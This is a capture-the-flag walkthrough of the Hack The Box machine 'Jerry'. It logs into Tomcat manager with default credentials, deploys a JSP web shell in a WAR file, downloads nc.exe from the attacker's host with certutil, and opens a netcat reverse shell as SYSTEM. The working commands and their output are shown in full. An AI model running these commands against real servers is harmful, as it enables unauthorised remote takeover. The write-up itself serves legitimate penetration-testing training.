Jerry

Although Jerry is one of the easier machines on Hack The Box, it is realistic as Apache Tomcat is often found exposed and configured with common or weak credentials.

ENUMERATION

Lets begin as always with an Nmap Scan:

target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 $target | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -Pn -sVC $target

PORT  STATE SERVICE VERSION
8080/tcp open  http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88

On the tomcat manager page, there was the default suggested credentials that allowed me enter as admin.

tomcat : s3cret

I have exploited following the steps in this module of HTB Academy:

https://academy.hackthebox.com/module/113/section/1211

1. Login page

/manager

2. Create a WAR file with a JSP shell on it

zip -r backup.war cmd.jsp

Get joseml’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

3. Deploy the WAR

4. Visiting the URL/War_file_name/shell.jsp

This is my JSP shell:

https://raw.githubusercontent.com/josemlwdf/AutoExploits/main/shell.jsp

EXPLOITATION / ROOT

After i followed the steps i just visited the URL:

http://10.10.10.95:8080/backup/cmd.jsp?cmd=whoami

Command: whoami
nt authority\system

After the RCE (Remote Code Execution) was confirmed and even more, we are already “nt authority\system”. Tthis payload downloaded my nc.exe:

http://10.10.10.95:8080/backup/cmd.jsp?cmd=certutil.exe+-urlcache+-split+-f+http%3A%2F%2F10.10.16.9%2Fnc.exe+nc.exe

Command: certutil.exe -urlcache -split -f http://10.10.16.9/nc.exe nc.exe
**** Online ****
0000 …
6e00
CertUtil: -URLCache command completed successfully.

And using nc on the machine gave me a reverse shell:

http://10.10.10.95:8080/backup/cmd.jsp?cmd=nc.exe+10.10.16.9+1234+-e+cmd

nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.10.95 49203
Microsoft Windows [Version 6.3.9600]
© 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>

Owned Jerry from Hack The Box!

Congratulations! We have successfully completed this machine. Thank you for reading!